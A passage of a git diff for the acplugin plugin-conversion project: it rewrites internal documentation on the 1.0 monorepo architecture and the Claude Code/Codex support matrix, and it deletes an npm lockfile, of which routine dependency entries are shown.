(2026-06). OpenCode generates `.opencode/agents/*.md` with `mode: subagent`, `steps`, `permission` fields; Antigravity generates `.agents/agents/*.md` (Claude tool list preserved as a comment, since its internal tool identifiers are unpublished). GitHub Actions also handles automation around the project itself: `.github/workflows/acplugin.yml` runs conversion on push to main, and `.github/workflows/publish-npm.yml` publishes `@disdjj/acplugin` to npm from matching `v*` tags via npm Trusted Publishing. +Core, both built-in Compilers, and the integration-test workspace are private packages. The main public package bundles Core and the Compilers so consumers never depend on `@acplugin/*`. -**Tech Stack:** TypeScript, Node.js, Commander.js, gray-matter, @iarna/toml, glob, @inquirer/prompts, chalk, ora. +## Authoring boundary -**Entry point:** `src/index.ts` - CLI binary registered as `acplugin` in package.json. +Core Components are Commands, Skills, and Agents. `acplugin.config.ts` defines top-level `name`, `version`, `description`, targets, Public copy behavior, Modules, and strictness. + +Instructions are intentionally outside the installable Plugin boundary. Hooks and MCP are optional Modules: enabling one extends the same Core-owned lifecycle rather than replacing the Compiler. + +Default targets are Claude Code and Codex. Claude supports all Core Components natively. Codex transforms Commands to explicit Skills and degrades Agents to model-only fallback Skills because installable Codex plugins cannot register custom project/user Agents. + +## Runtime and tooling + +- Node.js >=20, ESM-only TypeScript +- pnpm workspace, no Turborepo +- Commander.js and `@inquirer/prompts` for CLI/TUI +- tsdown for package bundles/declarations/package validation +- Rolldown for local Hook/MCP executable bundles +- Vitest for private repository tests + +The CLI entry is `packages/acplugin/src/cli.ts`; the facade/config loader is `packages/acplugin/src/index.ts`. + +## Migration boundary + +`acplugin migrate` accepts legacy Claude projects, single plugins, marketplaces, and supported GitHub forms. Migration is dynamically imported and isolated under `packages/acplugin/src/migration/`. Its tolerant legacy scanner/converter implementation is retained only below `migration/legacy/`. + +Only the tolerant GitHub download and Claude/plugin scanning helpers remain below `migration/legacy/`; the retired multi-platform converter, writer, CLI, TUI, and test copies were removed. Untrusted or non-portable content is preserved under `.acplugin-migration/unmapped/`; it is never fabricated into canonical Hooks, MCP implementations, or Instructions Components. diff --git a/llmdoc/reference/conversion-matrix.md b/llmdoc/reference/conversion-matrix.md index 8aeb99c..c5d3185 100644 --- a/llmdoc/reference/conversion-matrix.md +++ b/llmdoc/reference/conversion-matrix.md @@ -1,30 +1,34 @@ -# Conversion Matrix +# Target support matrix -This document summarizes which Claude Code resource types are supported by each target platform, the supported input formats, and source types. +This matrix describes canonical acplugin 1.0 builds. The tolerant converters retained below `packages/acplugin/src/migration/legacy/` are Migration implementation details, not additional build targets. -## 1. Core Summary +| Capability | Claude Code | Codex | +| --- | --- | --- | +| Skills | Native | Native | +| Commands | Native | Explicit `command-` fallback Skill | +| Agents | Native | Explicit `agent-` model-only fallback Skill | +| Public files | Target-root copy | Target-root copy | +| Hooks Module | Native supported events | Native portable events | +| Remote HTTP MCP | Native declaration | Native declaration | +| Local stdio MCP | Bundled Node 20 ESM | Bundled Node 20 ESM | -acplugin converts six Claude Code resource types (skills, instructions, MCP configs, agents, commands, hooks) across five target platforms (Codex, OpenCode, Cursor, Antigravity, Pi). Codex/OpenCode/Cursor/Antigravity support agents natively via subagent files; Pi does not. Pi (pi-coding-agent, earendil-works/pi) is a minimal terminal harness whose only native file formats are Claude-style Skills (`.pi/skills//SKILL.md`) and instructions (`AGENTS.md`); Commands degrade to prompt templates (`.pi/prompts/*.md`), and MCP/Agents/Hooks have no Pi file format (extended via TypeScript extensions) so the Pi writer emits warnings instead. Model names pass through unchanged for Pi. Cursor outputs `.cursor-plugin/` format: `plugin.json` manifest + `skills/`, `agents/`, `commands/`, `rules/`, `mcp.json` at plugin root (plugin/marketplace format introduced in Cursor 3.9, 2026-06). Antigravity maps (CLI workspace convention, plural `.agents/`): Skills → `.agents/skills/`, Instructions → `GEMINI.md`, MCP → `.agents/mcp_config.json` (remote servers use `serverUrl`), Agents → `.agents/agents/*.md` (Claude tool list preserved as a comment — Antigravity's internal tool identifiers are unpublished), Commands → Skills. OpenCode agents output `.opencode/agents/*.md` (fields: `mode: subagent`, `steps`, `permission`); OpenCode MCP uses a single `command` string array + `environment` key + `enabled`. Model names are mapped via `src/utils/model.ts` (Codex → `gpt-5.6-sol`/`gpt-5.6-terra`, Antigravity → `gemini-3.1-pro-preview`/`gemini-3.6-flash`). +Commands are supported on Codex through a semantic transformation. Agents are degraded because installable Codex plugins cannot register custom project/user Agents. With the default strict setting, an Agent therefore fails the Codex target; `--no-strict` explicitly accepts the generated fallback and structured compatibility warning. -## 2. Source of Truth +Hooks and MCP are not Core Components. They join the same build lifecycle only when `@tokenroll/acplugin-module-hooks` or `@tokenroll/acplugin-module-mcp` is configured. Source under `src/hooks` or `src/mcp` without the corresponding Module is an error. -- **Type Definitions:** `src/types.ts` - All resource types (`Skill`, `Instruction`, `MCPConfig`, `Agent`, `Command`, `Hooks`), plugin types (`PluginMeta`, `PluginScanResult`), and result types (`ScanResult`, `ConvertResult`, `ConvertedFile`). `PluginMeta` includes optional `displayName`, `homepage`, `repository`, `license`, `keywords` fields. -- **Integration Tests:** `src/__tests__/superpowers-integration.test.ts` - 51 integration tests using real superpowers plugin data covering full pipeline. -- **GitHub Source Resolution:** `src/github.ts` - Parsing and downloading GitHub repos. Supported formats: `owner/repo`, `github:owner/repo#branch`, full URLs. -- **Plugin Scanner:** `src/scanner/plugin.ts` - Plugin format detection and scanning. Marketplace: `.claude-plugin/marketplace.json`. Single plugin: `.claude-plugin/plugin.json`. Plugin layout: `skills/`, `agents/`, `commands/`, `hooks/` directly in plugin root. -- **Project Scanner:** `src/scanner/claude.ts` - Standard Claude Code project scanning (`.claude/` directory layout). -- **TUI Selection:** `src/tui.ts` - Interactive plugin and platform selection via @inquirer/prompts. -- **Skill Converter:** `src/converter/skill.ts` - Platform-specific skill conversion logic. -- **Instruction Converter:** `src/converter/instructions.ts` - CLAUDE.md / rules conversion to AGENTS.md or .mdc. -- **MCP Converter:** `src/converter/mcp.ts` - MCP server config conversion to config.toml / opencode.json / mcp.json (Cursor plugin format). -- **Agent Converter:** `src/converter/agent.ts` - Native agent conversion for Codex, OpenCode, Cursor, and Antigravity. Cursor: `agents/*.md` (`name`, `description`, `model`, `readonly`). OpenCode: `.opencode/agents/*.md` (`mode: subagent`, `steps`, `permission`). Antigravity: `.agents/agents/*.md` (Claude tool list preserved as an HTML comment; no `allowed-tools` allowlist emitted because Antigravity's internal tool identifiers are unpublished). The `'pi'` case throws because Pi has no subagent format and its writer never calls this converter. -- **Command Converter:** `src/converter/command.ts` - Command conversion across platforms. Antigravity converts commands to skills. -- **Hooks Converter:** `src/converter/hooks.ts` - Hook conversion with compatibility warnings for non-portable events. Cursor hooks get dedicated conversion: PascalCase → camelCase event names, `${CLAUDE_PLUGIN_ROOT}` stripped to relative paths, output as `hooks/hooks-cursor.json` with `{ version: 1 }` format. -- **Model Mapper:** `src/utils/model.ts` - Claude model → platform model mapping. Codex: `gpt-5.6-sol` (default), `gpt-5.6-terra` (haiku tier). Antigravity: `gemini-3.1-pro-preview`, `gemini-3.6-flash`. OpenCode/Cursor: passthrough. -- **Codex Writer:** `src/writer/codex.ts` - Codex output orchestration. -- **OpenCode Writer:** `src/writer/opencode.ts` - OpenCode output orchestration. -- **Cursor Writer:** `src/writer/cursor.ts` - Cursor plugin format output. Generates `.cursor-plugin/plugin.json` manifest with passthrough of `displayName`, `homepage`, `repository`, `license`, `keywords` and `hooks` field. Output paths remapped from `.cursor/` to plugin root: `skills/`, `agents/`, `commands/`, `rules/`, `mcp.json`. -- **Antigravity Writer:** `src/writer/antigravity.ts` - Antigravity (Google) output orchestration. -- **Pi Writer:** `src/writer/pi.ts` (`generatePi`) - Pi (pi-coding-agent) output orchestration. Converts Skills → `.pi/skills/`, Instructions → `AGENTS.md`, Commands → `.pi/prompts/*.md` (prompt templates). Emits warnings for MCP, agents, and hooks (no Pi file format). The MCP/agent/hooks converters throw or return null for the `'pi'` case since the writer never calls them. -- **GitHub Action:** `.github/workflows/acplugin.yml` - CI workflow using `TokenRollAI/acplugin-action@v1`. Triggers on push to main when `.claude/` or `CLAUDE.md` changes. Auto-converts to all 5 platforms. -- **System Architecture:** `/llmdoc/architecture/system.md` - Full pipeline and execution flow. +## Source and output ownership + +| Concern | Source of truth | +| --- | --- | +| Config, Components, Modules, Artifacts | `packages/core/src/types.ts` | +| Discovery and dependency graph | `packages/core/src/scanner.ts` | +| Lifecycle and target dispatch | `packages/core/src/builder.ts` | +| Transactional output | `packages/core/src/transaction.ts` | +| Claude output schema | `packages/compiler-claude-code/src/index.ts` | +| Codex output schema and fallbacks | `packages/compiler-codex/src/index.ts` | +| Hooks discovery/runtime bundling | `packages/module-hooks/src/index.ts` | +| MCP declaration/runtime bundling | `packages/module-mcp/src/index.ts` | +| Public facade, config loading | `packages/acplugin/src/index.ts` | +| CLI and Migration boundary | `packages/acplugin/src/cli.ts` | + +Compilers own target paths and manifests. Modules may contribute Artifacts, uniquely owned top-level manifest fields, and compatibility entries, but cannot replace a Compiler or write `dist` directly. diff --git a/llmdoc/startup.md b/llmdoc/startup.md new file mode 100644 index 0000000..236af27 --- /dev/null +++ b/llmdoc/startup.md @@ -0,0 +1,15 @@ +# Startup + +Read [Project overview](overview/project.md) and [System architecture](architecture/system.md) before changing runtime behavior. + +Keep these invariants: + +- pnpm monorepo without Turbo; Node.js >=20; ESM-only. +- Only `@tokenroll/acplugin` and the official Hooks/MCP Modules are public. +- Core owns one lifecycle and transaction; Modules extend it, Compilers own target output. +- Commands, Skills, and Agents are Core Components. Instructions are out of scope. +- Claude Code and Codex are the default targets. +- Migration stays lazy and isolated under `packages/acplugin/src/migration/`; legacy code is not normal runtime architecture. +- Preserve deterministic, strict, whole-output builds and never expose private `@acplugin/*` runtime dependencies. + +Use `pnpm run check` for repository validation and `pnpm run release:verify` for packed external-consumer verification. diff --git a/llmdoc/state/sync.md b/llmdoc/state/sync.md new file mode 100644 index 0000000..b24c59d --- /dev/null +++ b/llmdoc/state/sync.md @@ -0,0 +1,6 @@ +# llmdoc sync state + +- Baseline commit: `9320905211728816fc6d068b32e481c725a58ab2` +- Mode: `full` +- Updated for: acplugin 1.0 pnpm monorepo, canonical framework/CLI, official Modules, isolated Migration, and fixed-cohort release flow. +- Review: Standards and Spec code-review axes passed after security, transaction, schema, Hook-result, and diagnostic hardening. diff --git a/package-lock.json b/package-lock.json deleted file mode 100644 index ad929a7..0000000 --- a/package-lock.json +++ /dev/null @@ -1,2628 +0,0 @@ -{ - "name": "@disdjj/acplugin", - "version": "1.6.1", - "lockfileVersion": 3, - "requires": true, - "packages": { - "": { - "name": "@disdjj/acplugin", - "version": "1.6.1", - "license": "MIT", - "dependencies": { - "@iarna/toml": "^2.2.5", - "@inquirer/prompts": "^8.3.2", - "chalk": "^4.1.2", - "commander": "^14.0.3", - "glob": "^13.0.6", - "gray-matter": "^4.0.3", - "ora": "^5.4.1", - "typescript": "^5.9.3" - }, - "bin": { - "acplugin": "dist/index.js" - }, - "devDependencies": { - "@types/node": "^25.5.0", - "vitest": "^3.2.1" - } - }, - "node_modules/@esbuild/aix-ppc64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.4.tgz", - "integrity": "sha512-cQPwL2mp2nSmHHJlCyoXgHGhbEPMrEEU5xhkcy3Hs/O7nGZqEpZ2sUtLaL9MORLtDfRvVl2/3PAuEkYZH0Ty8Q==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "aix" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.4.tgz", - "integrity": "sha512-X9bUgvxiC8CHAGKYufLIHGXPJWnr0OCdR0anD2e21vdvgCI8lIfqFbnoeOz7lBjdrAGUhqLZLcQo6MLhTO2DKQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.4.tgz", - "integrity": "sha512-gdLscB7v75wRfu7QSm/zg6Rx29VLdy9eTr2t44sfTW7CxwAtQghZ4ZnqHk3/ogz7xao0QAgrkradbBzcqFPasw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-x64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.4.tgz", - "integrity": "sha512-PzPFnBNVF292sfpfhiyiXCGSn9HZg5BcAz+ivBuSsl6Rk4ga1oEXAamhOXRFyMcjwr2DVtm40G65N3GLeH1Lvw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-arm64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.4.tgz", - "integrity": "sha512-b7xaGIwdJlht8ZFCvMkpDN6uiSmnxxK56N2GDTMYPr2/gzvfdQN8rTfBsvVKmIVY/X7EM+/hJKEIbbHs9oA4tQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-x64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.4.tgz", - "integrity": "sha512-sR+OiKLwd15nmCdqpXMnuJ9W2kpy0KigzqScqHI3Hqwr7IXxBp3Yva+yJwoqh7rE8V77tdoheRYataNKL4QrPw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-arm64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.4.tgz", - "integrity": "sha512-jnfpKe+p79tCnm4GVav68A7tUFeKQwQyLgESwEAUzyxk/TJr4QdGog9sqWNcUbr/bZt/O/HXouspuQDd9JxFSw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-x64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.4.tgz", - "integrity": "sha512-2kb4ceA/CpfUrIcTUl1wrP/9ad9Atrp5J94Lq69w7UwOMolPIGrfLSvAKJp0RTvkPPyn6CIWrNy13kyLikZRZQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.4.tgz", - "integrity": "sha512-aBYgcIxX/wd5n2ys0yESGeYMGF+pv6g0DhZr3G1ZG4jMfruU9Tl1i2Z+Wnj9/KjGz1lTLCcorqE2viePZqj4Eg==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.4.tgz", - "integrity": "sha512-7nQOttdzVGth1iz57kxg9uCz57dxQLHWxopL6mYuYthohPKEK0vU0C3O21CcBK6KDlkYVcnDXY099HcCDXd9dA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ia32": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.4.tgz", - "integrity": "sha512-oPtixtAIzgvzYcKBQM/qZ3R+9TEUd1aNJQu0HhGyqtx6oS7qTpvjheIWBbes4+qu1bNlo2V4cbkISr8q6gRBFA==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-loong64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.4.tgz", - "integrity": "sha512-8mL/vh8qeCoRcFH2nM8wm5uJP+ZcVYGGayMavi8GmRJjuI3g1v6Z7Ni0JJKAJW+m0EtUuARb6Lmp4hMjzCBWzA==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-mips64el": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.4.tgz", - "integrity": "sha512-1RdrWFFiiLIW7LQq9Q2NES+HiD4NyT8Itj9AUeCl0IVCA459WnPhREKgwrpaIfTOe+/2rdntisegiPWn/r/aAw==", - "cpu": [ - "mips64el" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ppc64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.4.tgz", - "integrity": "sha512-tLCwNG47l3sd9lpfyx9LAGEGItCUeRCWeAx6x2Jmbav65nAwoPXfewtAdtbtit/pJFLUWOhpv0FpS6GQAmPrHA==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-riscv64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.4.tgz", - "integrity": "sha512-BnASypppbUWyqjd1KIpU4AUBiIhVr6YlHx/cnPgqEkNoVOhHg+YiSVxM1RLfiy4t9cAulbRGTNCKOcqHrEQLIw==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-s390x": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.4.tgz", - "integrity": "sha512-+eUqgb/Z7vxVLezG8bVB9SfBie89gMueS+I0xYh2tJdw3vqA/0ImZJ2ROeWwVJN59ihBeZ7Tu92dF/5dy5FttA==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-x64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.4.tgz", - "integrity": "sha512-S5qOXrKV8BQEzJPVxAwnryi2+Iq5pB40gTEIT69BQONqR7JH1EPIcQ/Uiv9mCnn05jff9umq/5nqzxlqTOg9NA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-arm64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.4.tgz", - "integrity": "sha512-xHT8X4sb0GS8qTqiwzHqpY00C95DPAq7nAwX35Ie/s+LO9830hrMd3oX0ZMKLvy7vsonee73x0lmcdOVXFzd6Q==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-x64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.4.tgz", - "integrity": "sha512-RugOvOdXfdyi5Tyv40kgQnI0byv66BFgAqjdgtAKqHoZTbTF2QqfQrFwa7cHEORJf6X2ht+l9ABLMP0dnKYsgg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-arm64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.4.tgz", - "integrity": "sha512-2MyL3IAaTX+1/qP0O1SwskwcwCoOI4kV2IBX1xYnDDqthmq5ArrW94qSIKCAuRraMgPOmG0RDTA74mzYNQA9ow==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-x64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.4.tgz", - "integrity": "sha512-u8fg/jQ5aQDfsnIV6+KwLOf1CmJnfu1ShpwqdwC0uA7ZPwFws55Ngc12vBdeUdnuWoQYx/SOQLGDcdlfXhYmXQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openharmony-arm64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.4.tgz", - "integrity": "sha512-JkTZrl6VbyO8lDQO3yv26nNr2RM2yZzNrNHEsj9bm6dOwwu9OYN28CjzZkH57bh4w0I2F7IodpQvUAEd1mbWXg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/sunos-x64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.4.tgz", - "integrity": "sha512-/gOzgaewZJfeJTlsWhvUEmUG4tWEY2Spp5M20INYRg2ZKl9QPO3QEEgPeRtLjEWSW8FilRNacPOg8R1uaYkA6g==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "sunos" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-arm64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.4.tgz", - "integrity": "sha512-Z9SExBg2y32smoDQdf1HRwHRt6vAHLXcxD2uGgO/v2jK7Y718Ix4ndsbNMU/+1Qiem9OiOdaqitioZwxivhXYg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-ia32": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.4.tgz", - "integrity": "sha512-DAyGLS0Jz5G5iixEbMHi5KdiApqHBWMGzTtMiJ72ZOLhbu/bzxgAe8Ue8CTS3n3HbIUHQz/L51yMdGMeoxXNJw==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-x64": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.4.tgz", - "integrity": "sha512-+knoa0BDoeXgkNvvV1vvbZX4+hizelrkwmGJBdT17t8FNPwG2lKemmuMZlmaNQ3ws3DKKCxpb4zRZEIp3UxFCg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@iarna/toml": { - "version": "2.2.5", - "resolved": "https://registry.npmjs.org/@iarna/toml/-/toml-2.2.5.tgz", - "integrity": "sha512-trnsAYxU3xnS1gPHPyU961coFyLkh4gAD/0zQ5mymY4yOZ+CYvsPqUbOFSw0aDM4y0tV7tiFxL/1XfXPNC6IPg==", - "license": "ISC" - }, - "node_modules/@inquirer/ansi": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/@inquirer/ansi/-/ansi-2.0.4.tgz", - "integrity": "sha512-DpcZrQObd7S0R/U3bFdkcT5ebRwbTTC4D3tCc1vsJizmgPLxNJBo+AAFmrZwe8zk30P2QzgzGWZ3Q9uJwWuhIg==", - "license": "MIT", - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^21.7.0 || ^20.12.0" - } - }, - "node_modules/@inquirer/checkbox": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/@inquirer/checkbox/-/checkbox-5.1.2.tgz", - "integrity": "sha512-PubpMPO2nJgMufkoB3P2wwxNXEMUXnBIKi/ACzDUYfaoPuM7gSTmuxJeMscoLVEsR4qqrCMf5p0SiYGWnVJ8kw==", - "license": "MIT", - "dependencies": { - "@inquirer/ansi": "^2.0.4", - "@inquirer/core": "^11.1.7", - "@inquirer/figures": "^2.0.4", - "@inquirer/type": "^4.0.4" - }, - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^21.7.0 || ^20.12.0" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/confirm": { - "version": "6.0.10", - "resolved": "https://registry.npmjs.org/@inquirer/confirm/-/confirm-6.0.10.tgz", - "integrity": "sha512-tiNyA73pgpQ0FQ7axqtoLUe4GDYjNCDcVsbgcA5anvwg2z6i+suEngLKKJrWKJolT//GFPZHwN30binDIHgSgQ==", - "license": "MIT", - "dependencies": { - "@inquirer/core": "^11.1.7", - "@inquirer/type": "^4.0.4" - }, - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^21.7.0 || ^20.12.0" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/core": { - "version": "11.1.7", - "resolved": "https://registry.npmjs.org/@inquirer/core/-/core-11.1.7.tgz", - "integrity": "sha512-1BiBNDk9btIwYIzNZpkikIHXWeNzNncJePPqwDyVMhXhD1ebqbpn1mKGctpoqAbzywZfdG0O4tvmsGIcOevAPQ==", - "license": "MIT", - "dependencies": { - "@inquirer/ansi": "^2.0.4", - "@inquirer/figures": "^2.0.4", - "@inquirer/type": "^4.0.4", - "cli-width": "^4.1.0", - "fast-wrap-ansi": "^0.2.0", - "mute-stream": "^3.0.0", - "signal-exit": "^4.1.0" - }, - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^21.7.0 || ^20.12.0" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/editor": { - "version": "5.0.10", - "resolved": "https://registry.npmjs.org/@inquirer/editor/-/editor-5.0.10.tgz", - "integrity": "sha512-VJx4XyaKea7t8hEApTw5dxeIyMtWXre2OiyJcICCRZI4hkoHsMoCnl/KbUnJJExLbH9csLLHMVR144ZhFE1CwA==", - "license": "MIT", - "dependencies": { - "@inquirer/core": "^11.1.7", - "@inquirer/external-editor": "^2.0.4", - "@inquirer/type": "^4.0.4" - }, - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^21.7.0 || ^20.12.0" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/expand": { - "version": "5.0.10", - "resolved": "https://registry.npmjs.org/@inquirer/expand/-/expand-5.0.10.tgz", - "integrity": "sha512-fC0UHJPXsTRvY2fObiwuQYaAnHrp3aDqfwKUJSdfpgv18QUG054ezGbaRNStk/BKD5IPijeMKWej8VV8O5Q/eQ==", - "license": "MIT", - "dependencies": { - "@inquirer/core": "^11.1.7", - "@inquirer/type": "^4.0.4" - }, - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^21.7.0 || ^20.12.0" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/external-editor": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/@inquirer/external-editor/-/external-editor-2.0.4.tgz", - "integrity": "sha512-Prenuv9C1PHj2Itx0BcAOVBTonz02Hc2Nd2DbU67PdGUaqn0nPCnV34oDyyoaZHnmfRxkpuhh/u51ThkrO+RdA==", - "license": "MIT", - "dependencies": { - "chardet": "^2.1.1", - "iconv-lite": "^0.7.2" - }, - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^21.7.0 || ^20.12.0" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/figures": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/@inquirer/figures/-/figures-2.0.4.tgz", - "integrity": "sha512-eLBsjlS7rPS3WEhmOmh1znQ5IsQrxWzxWDxO51e4urv+iVrSnIHbq4zqJIOiyNdYLa+BVjwOtdetcQx1lWPpiQ==", - "license": "MIT", - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^21.7.0 || ^20.12.0" - } - }, - "node_modules/@inquirer/input": { - "version": "5.0.10", - "resolved": 